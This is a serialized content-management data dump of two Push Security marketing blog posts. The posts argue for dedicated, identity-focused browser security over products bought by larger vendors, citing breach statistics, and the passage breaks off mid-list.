:34767,"content":34768,"nodeType":866},{},[34769,34773,34776,34782,34785,34791],{"data":34770,"marks":34771,"value":27031,"nodeType":865},{},[34772],{"type":961},{"data":34774,"marks":34775,"value":27035,"nodeType":865},{},[],{"data":34777,"content":34778,"nodeType":882},{"uri":10340},[34779],{"data":34780,"marks":34781,"value":27042,"nodeType":865},{},[],{"data":34783,"marks":34784,"value":27046,"nodeType":865},{},[],{"data":34786,"content":34787,"nodeType":882},{"uri":27049},[34788],{"data":34789,"marks":34790,"value":27054,"nodeType":865},{},[],{"data":34792,"marks":34793,"value":27058,"nodeType":865},{},[],{"data":34795,"content":34796,"nodeType":1003},{},[34797],{"data":34798,"content":34799,"nodeType":866},{},[34800,34804],{"data":34801,"marks":34802,"value":27069,"nodeType":865},{},[34803],{"type":961},{"data":34805,"marks":34806,"value":27073,"nodeType":865},{},[],{"data":34808,"content":34809,"nodeType":1003},{},[34810],{"data":34811,"content":34812,"nodeType":866},{},[34813,34817],{"data":34814,"marks":34815,"value":27084,"nodeType":865},{},[34816],{"type":961},{"data":34818,"marks":34819,"value":27088,"nodeType":865},{},[],{"data":34821,"content":34822,"nodeType":953},{},[],{"data":34824,"content":34825,"nodeType":963},{},[34826],{"data":34827,"marks":34828,"value":27099,"nodeType":865},{},[34829],{"type":961},{"data":34831,"content":34832,"nodeType":866},{},[34833],{"data":34834,"marks":34835,"value":27106,"nodeType":865},{},[],{"data":34837,"content":34838,"nodeType":866},{},[34839],{"data":34840,"marks":34841,"value":27113,"nodeType":865},{},[],{"data":34843,"content":34844,"nodeType":953},{},[],{"data":34846,"content":34847,"nodeType":963},{},[34848],{"data":34849,"marks":34850,"value":27124,"nodeType":865},{},[34851],{"type":961},{"data":34853,"content":34854,"nodeType":866},{},[34855],{"data":34856,"marks":34857,"value":27131,"nodeType":865},{},[],{"data":34859,"content":34860,"nodeType":866},{},[34861,34865],{"data":34862,"marks":34863,"value":27139,"nodeType":865},{},[34864],{"type":961},{"data":34866,"marks":34867,"value":27143,"nodeType":865},{},[],{"data":34869,"content":34870,"nodeType":866},{},[34871,34875],{"data":34872,"marks":34873,"value":27151,"nodeType":865},{},[34874],{"type":961},{"data":34876,"marks":34877,"value":27155,"nodeType":865},{},[],{"data":34879,"content":34880,"nodeType":866},{},[34881,34885],{"data":34882,"marks":34883,"value":27163,"nodeType":865},{},[34884],{"type":961},{"data":34886,"marks":34887,"value":27167,"nodeType":865},{},[],{"data":34889,"content":34890,"nodeType":866},{},[34891,34895],{"data":34892,"marks":34893,"value":27175,"nodeType":865},{},[34894],{"type":961},{"data":34896,"marks":34897,"value":27179,"nodeType":865},{},[],{"data":34899,"content":34900,"nodeType":866},{},[34901],{"data":34902,"marks":34903,"value":27186,"nodeType":865},{},[],{"data":34905,"content":34906,"nodeType":866},{},[34907,34910,34917],{"data":34908,"marks":34909,"value":21,"nodeType":865},{},[],{"data":34911,"content":34912,"nodeType":882},{"uri":1728},[34913],{"data":34914,"marks":34915,"value":9249,"nodeType":865},{},[34916],{"type":997},{"data":34918,"marks":34919,"value":1048,"nodeType":865},{},[],{"entries":34921},{"hyperlink":34922,"inline":34923,"block":34924},[],[],[34925,34928,34936,34939],{"sys":34926,"__typename":5631,"type":5632,"ctaText":34927,"buttonLabel":151,"buttonColour":5635,"buttonUrl":5636},{"id":26785},"Read our report on the browser attack techniques security teams need to contend with in 2026 (no gates!)",{"sys":34929,"__typename":1747,"title":34930,"caption":34931,"layoutMode":59,"file":34932},{"id":26830},"Comparing ease of deployment x security value for browser security solutions","Comparing ease of deployment x security value for browser security solutions.",{"url":34933,"width":34934,"height":34935},"https://images.ctfassets.net/y1cdw1ablpvd/4z1RAFROesqaBF4H3qR8yu/1e21a68602402773bfa843fd0208d4ca/Screenshot_2026-07-27_at_10.36.43.png",1408,952,{"sys":34937,"__typename":5631,"type":5632,"ctaText":34938,"buttonLabel":15220,"buttonColour":5635,"buttonUrl":5481},{"id":26855},"Read our blog for a step-by-step guide to how Push protects against browser-based attacks. ",{"sys":34940,"__typename":1747,"title":34941,"caption":34942,"layoutMode":59,"file":34943},{"id":26919},"SEB Blog Quote Callout","What security leaders have to say about Push.",{"url":34944,"width":34945,"height":34946},"https://images.ctfassets.net/y1cdw1ablpvd/3puINxgWMVBvsieKSMxbcA/d68e403607ea8786de911f7c0bbdd1d3/Frame_628075.png",1390,930,{"items":34948},[],{},"Enterprise browser vs. browser extension solution analysis",{"items":34952},[34953,35536,36317],{"__typename":1788,"sys":34954,"content":34956,"title":35522,"synopsis":35523,"hashTags":59,"publishedDate":35524,"slug":35525,"tagsCollection":35526,"authorsCollection":35532},{"id":34955},"LlTjdYp5ALHM3YIvsCibZ",{"json":34957},{"data":34958,"content":34959,"nodeType":1739},{},[34960,34967,34994,35001,35004,35012,35019,35026,35033,35041,35095,35102,35110,35117,35124,35132,35139,35146,35165,35196,35203,35206,35214,35222,35240,35248,35267,35275,35282,35290,35297,35305,35312,35315,35323,35330,35341,35359,35367,35374,35380,35388,35424,35430,35438,35455,35463,35481,35484,35492,35499,35506],{"data":34961,"content":34962,"nodeType":866},{},[34963],{"data":34964,"marks":34965,"value":34966,"nodeType":865},{},[],"Three browser security companies have been acquired by major security platforms in five months. CrowdStrike acquired Seraphic Security in January 2026. Zscaler absorbed SquareX in February. In May, Akamai announced the acquisition of LayerX. Add Palo Alto Networks' earlier acquisition of Talon, and the browser security market has consolidated faster than almost any adjacent security category before it.",{"data":34968,"content":34969,"nodeType":866},{},[34970,34974,34981,34984,34991],{"data":34971,"marks":34972,"value":34973,"nodeType":865},{},[],"These acquisitions recognize that the browser is now where employees work, where AI runs, and where the most damaging attacks on organizations originate. It’s telling that browser security already accounts for ",{"data":34975,"content":34976,"nodeType":882},{"uri":4378},[34977],{"data":34978,"marks":34979,"value":34980,"nodeType":865},{},[],"12.6% of the average security budget",{"data":34982,"marks":34983,"value":3892,"nodeType":865},{},[],{"data":34985,"content":34986,"nodeType":882},{"uri":4378},[34987],{"data":34988,"marks":34989,"value":34990,"nodeType":865},{},[],"85% of organizations expect to increase that spend over the next 12-24 months",{"data":34992,"marks":34993,"value":1048,"nodeType":865},{},[],{"data":34995,"content":34996,"nodeType":866},{},[34997],{"data":34998,"marks":34999,"value":35000,"nodeType":865},{},[],"But for security buyers, consolidation creates a risk as much as an opportunity. The question isn't whether your existing platform vendor now offers browser security — it's whether what they're offering can actually protect you as the threat landscape evolves.",{"data":35002,"content":35003,"nodeType":953},{},[],{"data":35005,"content":35006,"nodeType":963},{},[35007],{"data":35008,"marks":35009,"value":35011,"nodeType":865},{},[35010],{"type":961},"Why \"good enough\" isn't good enough in the browser",{"data":35013,"content":35014,"nodeType":866},{},[35015],{"data":35016,"marks":35017,"value":35018,"nodeType":865},{},[],"The consolidation pitch is tempting. If you're already a CrowdStrike, Zscaler, or Palo Alto customer, adding browser security through an existing relationship means fewer vendors, fewer contracts, and a coherent narrative about platform consolidation that plays well internally. ",{"data":35020,"content":35021,"nodeType":866},{},[35022],{"data":35023,"marks":35024,"value":35025,"nodeType":865},{},[],"Security teams make these kinds of tradeoffs all the time — accepting that your SASE vendor's threat intelligence feed may not match a dedicated provider, or that your EDR vendor's vulnerability management module may not match a dedicated scanner — are reasonable decisions where the operational benefit of consolidation outweighs the capability difference.",{"data":35027,"content":35028,"nodeType":866},{},[35029],{"data":35030,"marks":35031,"value":35032,"nodeType":865},{},[],"But browser security is a category where the stakes are too high to accept a \"good enough\" solution. The majority of all reported breaches now originate in the browser and attacker tradecraft in this space is advancing at an unprecedented rate thanks to AI. These risks warrant the strongest form of defense. Here are three reasons that “good enough” solutions don't give you that:",{"data":35034,"content":35035,"nodeType":1458},{},[35036],{"data":35037,"marks":35038,"value":35040,"nodeType":865},{},[35039],{"type":961},"1. Most platform browser solutions were built for the wrong problems",{"data":35042,"content":35043,"nodeType":866},{},[35044,35047,35056,35060,35068,35072,35080,35084,35091],{"data":35045,"marks":35046,"value":21,"nodeType":865},{},[],{"data":35048,"content":35050,"nodeType":882},{"uri":35049},"https://www.crowdstrike.com/en-us/resources/infographics/identity-security-risk-review/",[35051],{"data":35052,"marks":35053,"value":35055,"nodeType":865},{},[35054],{"type":997},"CrowdStrike's own research",{"data":35057,"marks":35058,"value":35059,"nodeType":865},{},[]," puts identity involvement in 80% of all modern breaches. Identity weaknesses played a material role in ",{"data":35061,"content":35063,"nodeType":882},{"uri":35062},"https://www.paloaltonetworks.com/resources/research/unit-42-incident-response-report",[35064],{"data":35065,"marks":35066,"value":35067,"nodeType":865},{},[],"almost 90% of Unit 42 incident response investigations",{"data":35069,"marks":35070,"value":35071,"nodeType":865},{},[],". The breaches making headlines — 2024's ",{"data":35073,"content":35075,"nodeType":882},{"uri":35074},"https://pushsecurity.com/blog/snowflake-retro",[35076],{"data":35077,"marks":35078,"value":35079,"nodeType":865},{},[],"mass Snowflake account compromises",{"data":35081,"marks":35082,"value":35083,"nodeType":865},{},[],", 2025's wave of Salesforce-targeted attacks, and 2026's ",{"data":35085,"content":35086,"nodeType":882},{"uri":4236},[35087],{"data":35088,"marks":35089,"value":35090,"nodeType":865},{},[],"continued spree of data theft and extortion",{"data":35092,"marks":35093,"value":35094,"nodeType":865},{},[]," — all trace back to identity weaknesses exploited through the browser: credentials stuffed into login pages that lacked MFA, session tokens hijacked via AiTM phishing, OAuth consent abused to grant persistent access, and device code flows manipulated to bypass authentication entirely. ",{"data":35096,"content":35097,"nodeType":866},{},[35098],{"data":35099,"marks":35100,"value":35101,"nodeType":865},{},[],"Yet Seraphic was built for browser runtime exploit prevention, SquareX for file-based malware sandboxing, LayerX for access governance and AI usage policy. These are real use cases, but they're not the use cases behind headline breaches. If your browser security solution checks a box for \"phishing protection\" but can't detect the identity attack techniques that are actually being industrialized and deployed at scale, you have a gap — and the danger is that you don't know it's there.",{"data":35103,"content":35104,"nodeType":1458},{},[35105],{"data":35106,"marks":35107,"value":35109,"nodeType":865},{},[35108],{"type":961},"2. Even solutions claiming the right capabilities often deliver them superficially",{"data":35111,"content":35112,"nodeType":866},{},[35113],{"data":35114,"marks":35115,"value":35116,"nodeType":865},{},[],"Every browser security vendor claims phishing detection, ClickFix protection, and session security. What varies enormously is whether those capabilities work against real, live, never-before-seen attacker infrastructure — or only against known-bad indicators that attackers rotate in minutes. 95% of in-browser attacks detected by Push used bot protection to evade blocklists; 89% of phishing domains are active for fewer than two days. ",{"data":35118,"content":35119,"nodeType":866},{},[35120],{"data":35121,"marks":35122,"value":35123,"nodeType":865},{},[],"A solution that appears comprehensive in a demo or PoV may leave significant gaps when tested against adversaries who understand exactly how security tools work and actively engineer around them. ",{"data":35125,"content":35126,"nodeType":1458},{},[35127],{"data":35128,"marks":35129,"value":35131,"nodeType":865},{},[35130],{"type":961},"3. AI is only going to widen the gap between \"good enough\" and what you need",{"data":35133,"content":35134,"nodeType":866},{},[35135],{"data":35136,"marks":35137,"value":35138,"nodeType":865},{},[],"When a browser security product is acquired, engineering effort turns inwards towards integration with the parent platform, not advancing detection capability. ",{"data":35140,"content":35141,"nodeType":866},{},[35142],{"data":35143,"marks":35144,"value":35145,"nodeType":865},{},[],"That dynamic plays out differently for each acquisition, but in Seraphic's case it is expected to be particularly heightened. Seraphic works by injecting an agent into the browser's JavaScript runtime. This is the same approach antivirus vendors have used for years, with well-documented stability consequences. Stability is now a top priority for CrowdStrike, which means the Seraphic integration will proceed cautiously. For buyers, that translates directly into slower capability advancement, not faster.",{"data":35147,"content":35148,"nodeType":866},{},[35149,35153,35161],{"data":35150,"marks":35151,"value":35152,"nodeType":865},{},[],"But this is no time for engineering efforts to turn inward, as the threat landscape continues to evolve at an unprecedented rate. You only need to look at the rise of techniques like device code phishing, which have gone from ",{"data":35154,"content":35155,"nodeType":882},{"uri":1384},[35156],{"data":35157,"marks":35158,"value":35160,"nodeType":865},{},[35159],{"type":997},"research curiosity to industrialized exploitation",{"data":35162,"marks":35163,"value":35164,"nodeType":865},{},[]," in a matter of months — in large part enabled by AI-powered tools and AI-assisted development. Similarly, AI has compressed the time to generate a convincing phishing campaign from hours to minutes. ",{"data":35166,"content":35167,"nodeType":866},{},[35168,35172,35179,35183,35192],{"data":35169,"marks":35170,"value":35171,"nodeType":865},{},[],"But it's not only external threats: ",{"data":35173,"content":35174,"nodeType":882},{"uri":4378},[35175],{"data":35176,"marks":35177,"value":35178,"nodeType":865},{},[],"92% of organizations allow employees to use public GenAI applications",{"data":35180,"marks":35181,"value":35182,"nodeType":865},{},[]," — every one of them with unsanctioned AI use occurring by design — employees are routinely entering sensitive data into unapproved AI tools, and ",{"data":35184,"content":35186,"nodeType":882},{"uri":35185},"https://www.gartner.com/en/newsroom/press-releases/2025-08-26-gartner-predicts-40-percent-of-enterprise-apps-will-feature-task-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025",[35187],{"data":35188,"marks":35189,"value":35191,"nodeType":865},{},[35190],{"type":997},"Gartner predicts",{"data":35193,"marks":35194,"value":35195,"nodeType":865},{},[]," 40% of enterprise applications will feature AI agents by end of 2026, up from under 5% in 2025. ",{"data":35197,"content":35198,"nodeType":866},{},[35199],{"data":35200,"marks":35201,"value":35202,"nodeType":865},{},[],"The gap between an acquired product focused on integration and vendors whose single-minded focus is on stopping these emerging threats will continue to widen over time.",{"data":35204,"content":35205,"nodeType":953},{},[],{"data":35207,"content":35208,"nodeType":963},{},[35209],{"data":35210,"marks":35211,"value":35213,"nodeType":865},{},[35212],{"type":961},"How to identify a genuinely best-of-breed solution",{"data":35215,"content":35216,"nodeType":1458},{},[35217],{"data":35218,"marks":35219,"value":35221,"nodeType":865},{},[35220],{"type":961},"Start from your own requirements",{"data":35223,"content":35224,"nodeType":866},{},[35225,35229,35236],{"data":35226,"marks":35227,"value":35228,"nodeType":865},{},[],"Define the outcomes you need before speaking to any vendor. The ",{"data":35230,"content":35231,"nodeType":882},{"uri":25940},[35232],{"data":35233,"marks":35234,"value":35235,"nodeType":865},{},[],"highest-value browser security use cases",{"data":35237,"marks":35238,"value":35239,"nodeType":865},{},[]," are account takeover prevention, advanced phishing detection, identity posture hardening, browser extension security, and shadow SaaS and OAuth governance.",{"data":35241,"content":35242,"nodeType":1458},{},[35243],{"data":35244,"marks":35245,"value":35247,"nodeType":865},{},[35246],{"type":961},"Understand how it detects, not just what it claims",{"data":35249,"content":35250,"nodeType":866},{},[35251,35255,35263],{"data":35252,"marks":35253,"value":35254,"nodeType":865},{},[],"Most solutions rely on IoCs — matching known-bad domains, URLs, and IPs against feeds that attackers rotate in minutes.  There’s a major shortcoming with this approach, though: attackers rotate infrastructure faster than any blocklist updates and use bot protection to stay off threat intelligence feeds, making every attack feel ",{"data":35256,"content":35257,"nodeType":882},{"uri":10742},[35258],{"data":35259,"marks":35260,"value":35262,"nodeType":865},{},[35261],{"type":997},"like a zero-day",{"data":35264,"marks":35265,"value":35266,"nodeType":865},{},[],". The only approach that reliably works is TTP-based behavioral detection. Ask every vendor: are you detecting a known-bad indicator or a behavioral technique?",{"data":35268,"content":35269,"nodeType":1458},{},[35270],{"data":35271,"marks":35272,"value":35274,"nodeType":865},{},[35273],{"type":961},"Test against real attacker behavior",{"data":35276,"content":35277,"nodeType":866},{},[35278],{"data":35279,"marks":35280,"value":35281,"nodeType":865},{},[],"Don't evaluate phishing detection with old phishing URLs. By the time you’re running these tests their IoCs will already be on block-lists (see point above). Instead, deploy realistic testing scenarios and look for demonstrable evidence of stopping real-world phishing kits — Evilginx, Tycoon2FA, Sneaky2FA, and so on. ",{"data":35283,"content":35284,"nodeType":1458},{},[35285],{"data":35286,"marks":35287,"value":35289,"nodeType":865},{},[35288],{"type":961},"Assess innovation velocity",{"data":35291,"content":35292,"nodeType":866},{},[35293],{"data":35294,"marks":35295,"value":35296,"nodeType":865},{},[],"Ask every vendor about their research output and feature release history over the past six months — are they discovering and publishing novel attack techniques, or covering what others already documented? Are new detections shipping continuously, or in quarterly cycles? For acquired products specifically, also ask how the roadmap has changed since acquisition. ",{"data":35298,"content":35299,"nodeType":1458},{},[35300],{"data":35301,"marks":35302,"value":35304,"nodeType":865},{},[35303],{"type":961},"Consider operationalization, vendor focus, and lock-in",{"data":35306,"content":35307,"nodeType":866},{},[35308],{"data":35309,"marks":35310,"value":35311,"nodeType":865},{},[],"Many solutions demo well but create significant overhead at scale. Consider whether you want another agent on endpoints, and whether you have the resources to tune granular policies without drowning in false positives. Your requirements might not carry the same weight with a platform vendor with tens of thousands of customers across multiple product lines, versus a dedicated vendor whose entire roadmap exists to solve your problem. And factor in lock-in: every capability consolidated into an existing platform vendor reduces your ability to change direction later.",{"data":35313,"content":35314,"nodeType":953},{},[],{"data":35316,"content":35317,"nodeType":963},{},[35318],{"data":35319,"marks":35320,"value":35322,"nodeType":865},{},[35321],{"type":961},"Why Push is the best-of-breed browser security solution",{"data":35324,"content":35325,"nodeType":866},{},[35326],{"data":35327,"marks":35328,"value":35329,"nodeType":865},{},[],"Think of Push as EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Here’s why customers choose Push as a best-of-breed solution:",{"data":35331,"content":35332,"nodeType":1458},{},[35333,35338],{"data":35334,"marks":35335,"value":35337,"nodeType":865},{},[35336],{"type":961},"Push is built for the security problems that actually cause breaches",{"data":35339,"marks":35340,"value":2157,"nodeType":865},{},[],{"data":35342,"content":35343,"nodeType":866},{},[35344,35348,35355],{"data":35345,"marks":35346,"value":35347,"nodeType":865},{},[],"The highest-value browser security problems — account takeover prevention, advanced phishing detection, identity posture hardening, browser extension security, shadow SaaS and OAuth governance — all require visibility inside the browser session. Push was built from the ground up for exactly that. The same foundational capability that detects AiTM phishing and ClickFix attacks also surfaces the exposure most security teams don't know they have: ",{"data":35349,"content":35350,"nodeType":882},{"uri":10328},[35351],{"data":35352,"marks":35353,"value":35354,"nodeType":865},{},[],"across Push's customer base",{"data":35356,"marks":35357,"value":35358,"nodeType":865},{},[],", 1 in 4 logins use passwords rather than SSO, 2 in 5 are unprotected by MFA, and 46.76% of browser extensions carry permissions sufficient to perform account takeover — none of it visible from the endpoint, network, or email layer.",{"data":35360,"content":35361,"nodeType":1458},{},[35362],{"data":35363,"marks":35364,"value":35366,"nodeType":865},{},[35365],{"type":961},"Push detects high-fidelity attacker TTPs, not low-level IoCs",{"data":35368,"content":35369,"nodeType":866},{},[35370],{"data":35371,"marks":35372,"value":35373,"nodeType":865},{},[],"Push's browser extension operates as a flight recorder inside the session, capturing every page load, credential submission, OAuth consent flow, and user action in real time. That telemetry surfaces attacker behavior — the page structure and script signatures of AiTM kits, the clipboard mechanics of ClickFix, the OAuth flow characteristics of ConsentFix — rather than infrastructure indicators that attackers rotate in minutes. This is how Push intercepts “zero-day” phishing using fresh infrastructure and domains every time, while most solutions are stuck playing known-bad whac-a-mole. ",{"data":35375,"content":35379,"nodeType":925},{"target":35376},{"sys":35377},{"id":35378,"type":922,"linkType":923},"4ho5gOHl1loo9Jtv9nPoq1",[],{"data":35381,"content":35382,"nodeType":1458},{},[35383],{"data":35384,"marks":35385,"value":35387,"nodeType":865},{},[35386],{"type":961},"Push’s research and agentic threat hunting keeps you ahead of attacker innovation",{"data":35389,"content":35390,"nodeType":866},{},[35391,35395,35401,35404,35410,35414,35420],{"data":35392,"marks":35393,"value":35394,"nodeType":865},{},[],"Push named ",{"data":35396,"content":35397,"nodeType":882},{"uri":11102},[35398],{"data":35399,"marks":35400,"value":11095,"nodeType":865},{},[],{"data":35402,"marks":35403,"value":8756,"nodeType":865},{},[],{"data":35405,"content":35406,"nodeType":882},{"uri":11342},[35407],{"data":35408,"marks":35409,"value":19228,"nodeType":865},{},[],{"data":35411,"marks":35412,"value":35413,"nodeType":865},{},[]," before any other vendor detected either in production. That research feeds an ",{"data":35415,"content":35416,"nodeType":882},{"uri":3643},[35417],{"data":35418,"marks":35419,"value":3649,"nodeType":865},{},[],{"data":35421,"marks":35422,"value":35423,"nodeType":865},{},[]," built on two learning loops — an inner loop for real-time detection of known techniques, and an outer loop where autonomous agents continuously hunt across 3 million deployed browsers for emerging threats, writing new detections and deploying them to customer environments in minutes. ",{"data":35425,"content":35429,"nodeType":925},{"target":35426},{"sys":35427},{"id":35428,"type":922,"linkType":923},"17y3jchoPysKQTf2ra59Bv",[],{"data":35431,"content":35432,"nodeType":1458},{},[35433],{"data":35434,"marks":35435,"value":35437,"nodeType":865},{},[35436],{"type":961},"Push solves more use cases than just stopping advanced attacks",{"data":35439,"content":35440,"nodeType":866},{},[35441,35445,35452],{"data":35442,"marks":35443,"value":35444,"nodeType":865},{},[],"Push uses the same browser-layer visibility to surface every AI tool, agentic browser, extension, and OAuth integration in use across the organization — and enforce policy on what employees can do inside them in real time, including unsanctioned tools no other layer sees. The same technical capabilities provided by Push also harden the identity attack surface, prevent data loss, accelerate insider investigations, and let security teams write custom detections and policies for organization-specific risks. One extension, one deployment, ",{"data":35446,"content":35447,"nodeType":882},{"uri":25940},[35448],{"data":35449,"marks":35450,"value":35451,"nodeType":865},{},[],"multiple high-value use cases",{"data":35453,"marks":35454,"value":1048,"nodeType":865},{},[],{"data":35456,"content":35457,"nodeType":1458},{},[35458],{"data":35459,"marks":35460,"value":35462,"nodeType":865},{},[35461],{"type":961},"Push is built to be operationalized at scale, not just demoed",{"data":35464,"content":35465,"nodeType":866},{},[35466,35470,35477],{"data":35467,"marks":35468,"value":35469,"nodeType":865},{},[],"Push deploys to ",{"data":35471,"content":35472,"nodeType":882},{"uri":26050},[35473],{"data":35474,"marks":35475,"value":35476,"nodeType":865},{},[],"100,000 users in under one hour on a normal workday",{"data":35478,"marks":35479,"value":35480,"nodeType":865},{},[]," — no migration overhead or performance impact. The false positive rate is negligible, meaning no alert noise and no policy tuning overhead. And because Push is independent, it integrates into open ecosystems — feeding browser-layer telemetry into your SIEM, XDR, SOAR, and identity tools alongside the rest of your stack, without adding to your platform lock-in.",{"data":35482,"content":35483,"nodeType":953},{},[],{"data":35485,"content":35486,"nodeType":963},{},[35487],{"data":35488,"marks":35489,"value":35491,"nodeType":865},{},[35490],{"type":961},"Final thoughts",{"data":35493,"content":35494,"nodeType":866},{},[35495],{"data":35496,"marks":35497,"value":35498,"nodeType":865},{},[],"Three acquisitions in five months is a strong market signal, but a strong market signal about vendor interest in a category is not the same thing as a strong signal about capability. The attacker techniques and tooling behind breaches in 2026 are evolving faster than any acquired product with split engineering priorities can reasonably track. ",{"data":35500,"content":35501,"nodeType":866},{},[35502],{"data":35503,"marks":35504,"value":35505,"nodeType":865},{},[],"Security buyers who accept a bundled browser solution because it is included in an existing contract are making a procurement decision, not a security decision. The threats in the browser are serious and sophisticated enough to justify the investment in a tool built to stop them. If you agree, Push is worth a serious look.",{"data":35507,"content":35508,"nodeType":866},{},[35509,35512,35519],{"data":35510,"marks":35511,"value":21,"nodeType":865},{},[],{"data":35513,"content":35514,"nodeType":882},{"uri":1728},[35515],{"data":35516,"marks":35517,"value":2812,"nodeType":865},{},[35518],{"type":997},{"data":35520,"marks":35521,"value":21,"nodeType":865},{},[],"Why \"good enough\" isn’t enough: the case for best-of-breed browser security","Why \"good enough\" isn’t enough when it comes to browser security, and a best-of-breed approach is needed to tackle emerging threats.","2026-05-19T00:00:00.000Z","the-case-for-best-of-breed-browser-security",{"items":35527},[35528,35530],{"sys":35529,"name":297},{"id":2828},{"sys":35531,"name":11426},{"id":11425},{"items":35533},[35534],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":35535},{"url":5032},{"__typename":1788,"sys":35537,"content":35539,"title":36303,"synopsis":36304,"hashTags":59,"publishedDate":36305,"slug":36306,"tagsCollection":36307,"authorsCollection":36313},{"id":35538},"2V130uMePtxAaefYQAKInb",{"json":35540},{"data":35541,"content":35542,"nodeType":1739},{},[35543,35549,35556,35563,35570,35573,35581,35588,35600,35612,35617,35624,35627,35635,35642,35648,35655,35662,35769,35776,35779,35787,35794,35857,35873,35879,35886,35889,35897,35904,35912,35919,35926,35957,35964,35972,35979,35986,35993,36001,36008,36015,36022,36025,36033,36045,36052,36059,36067,36074,36081,36089,36096,36159,36175,36193,36201,36208,36216,36223,36230,36237,36243,36251,36258,36265,36270,36277,36284,36291,36297],{"data":35544,"content":35548,"nodeType":925},{"target":35545},{"sys":35546},{"id":35547,"type":922,"linkType":923},"5CPZ96xixlhgh6oqQ2rfmO",[],{"data":35550,"content":35551,"nodeType":866},{},[35552],{"data":35553,"marks":35554,"value":35555,"nodeType":865},{},[],"When a security team evaluates browser security solutions, they're usually asking the right question: “How do we protect our users as they work in the browser?”",{"data":35557,"content":35558,"nodeType":866},{},[35559],{"data":35560,"marks":35561,"value":35562,"nodeType":865},{},[],"But the answer they get from many vendors is shaped by a fundamentally different threat model — one that treats the browser as a piece of software to be hardened against exploitation, rather than as the arena where your users’ identities get stolen.",{"data":35564,"content":35565,"nodeType":866},{},[35566],{"data":35567,"marks":35568,"value":35569,"nodeType":865},{},[],"This distinction has enormous consequences for your security posture and the return you can expect from your investment in a new solution.",{"data":35571,"content":35572,"nodeType":953},{},[],{"data":35574,"content":35575,"nodeType":963},{},[35576],{"data":35577,"marks":35578,"value":35580,"nodeType":865},{},[35579],{"type":961},"Two different problems, dressed the same",{"data":35582,"content":35583,"nodeType":866},{},[35584],{"data":35585,"marks":35586,"value":35587,"nodeType":865},{},[],"When it comes to protecting users as they work in the browser, security tools typically fall into one of two camps:",{"data":35589,"content":35590,"nodeType":866},{},[35591,35596],{"data":35592,"marks":35593,"value":35595,"nodeType":865},{},[35594],{"type":961},"The first camp:",{"data":35597,"marks":35598,"value":35599,"nodeType":865},{},[]," represented by solutions like Seraphic (now CrowdStrike) — is built around the threat of attacking the browser itself. The architecture is designed to scramble the browser’s JavaScript runtime and prevent exploits from detonating and breaking out of the browser sandbox. This is browser hardening: defending the browser as software against exploitation by attackers who want to compromise the underlying device.",{"data":35601,"content":35602,"nodeType":866},{},[35603,35608],{"data":35604,"marks":35605,"value":35607,"nodeType":865},{},[35606],{"type":961},"The second camp:",{"data":35609,"marks":35610,"value":35611,"nodeType":865},{},[]," and the one Push Security occupies uniquely, focuses on what happens inside the browser when a user is working normally. Phishing pages harvesting credentials. Session tokens being stolen. Malicious OAuth applications being granted access through social engineering. Adversary-in-the-middle proxies intercepting authentication flows. These attacks don't exploit the browser. They exploit the human — and now agents — using it via the browser's legitimate capabilities (think of it as LOTL, browser edition).",{"data":35613,"content":35616,"nodeType":925},{"target":35614},{"sys":35615},{"id":19097,"type":922,"linkType":923},[],{"data":35618,"content":35619,"nodeType":866},{},[35620],{"data":35621,"marks":35622,"value":35623,"nodeType":865},{},[],"The question for any security team evaluating this space: which of these threat models presents the greatest risks to my organization?",{"data":35625,"content":35626,"nodeType":953},{},[],{"data":35628,"content":35629,"nodeType":963},{},[35630],{"data":35631,"marks":35632,"value":35634,"nodeType":865},{},[35633],{"type":961},"How organizations are actually being breached",{"data":35636,"content":35637,"nodeType":866},{},[35638],{"data":35639,"marks":35640,"value":35641,"nodeType":865},{},[],"Let's look at the major breach campaigns of the last three years without the marketing filter and a pattern emerges immediately. Scattered Spider and its successors breached MGM Resorts, Caesars, M&S, JLR, and Salesforce customers — not through browser exploits, but through social engineering, phishing and Adversary-in-the-Middle attacks that stole session tokens and SSO credentials. ",{"data":35643,"content":35647,"nodeType":925},{"target":35644},{"sys":35645},{"id":35646,"type":922,"linkType":923},"2qIMTiyyIsQFAyGJ9Ikyej",[],{"data":35649,"content":35650,"nodeType":866},{},[35651],{"data":35652,"marks":35653,"value":35654,"nodeType":865},{},[],"In every case, the attack happened in the browser — using stolen identities to log into legitimate cloud services — not on the browser through exploitation of the browser engine itself.",{"data":35656,"content":35657,"nodeType":866},{},[35658],{"data":35659,"marks":35660,"value":35661,"nodeType":865},{},[],"The data from major threat intelligence sources is unambiguous:",{"data":35663,"content":35664,"nodeType":1049},{},[35665,35683,35702,35721,35740,35754],{"data":35666,"content":35667,"nodeType":1003},{},[35668],{"data":35669,"content":35670,"nodeType":866},{},[35671,35675,35679],{"data":35672,"marks":35673,"value":35674,"nodeType":865},{},[],"Identity weaknesses played a material role in ",{"data":35676,"marks":35677,"value":35067,"nodeType":865},{},[35678],{"type":961},{"data":35680,"marks":35681,"value":35682,"nodeType":865},{},[]," (Palo Alto Networks Unit 42 IR Report)",{"data":35684,"content":35685,"nodeType":1003},{},[35686],{"data":35687,"content":35688,"nodeType":866},{},[35689,35693,35698],{"data":35690,"marks":35691,"value":35692,"nodeType":865},{},[],"Credential abuse and phishing combined accounted for ",{"data":35694,"marks":35695,"value":35697,"nodeType":865},{},[35696],{"type":961},"38% of all breaches",{"data":35699,"marks":35700,"value":35701,"nodeType":865},{},[],", making identity the single largest breach vector (Verizon DBIR 2025)",{"data":35703,"content":35704,"nodeType":1003},{},[35705],{"data":35706,"content":35707,"nodeType":866},{},[35708,35712,35717],{"data":35709,"marks":35710,"value":35711,"nodeType":865},{},[],"Cloud-conscious intrusions — attackers using stolen identities to access cloud services — rose ",{"data":35713,"marks":35714,"value":35716,"nodeType":865},{},[35715],{"type":961},"37% in 2025",{"data":35718,"marks":35719,"value":35720,"nodeType":865},{},[],", up 266% among state-nexus actors (CrowdStrike 2026 Global Threat Report)",{"data":35722,"content":35723,"nodeType":1003},{},[35724],{"data":35725,"content":35726,"nodeType":866},{},[35727,35731,35736],{"data":35728,"marks":35729,"value":35730,"nodeType":865},{},[],"In cloud-related incidents, identity issues drove initial access in ",{"data":35732,"marks":35733,"value":35735,"nodeType":865},{},[35734],{"type":961},"83% of cases",{"data":35737,"marks":35738,"value":35739,"nodeType":865},{},[]," (Mandiant / Google Cloud Threat Horizons H1 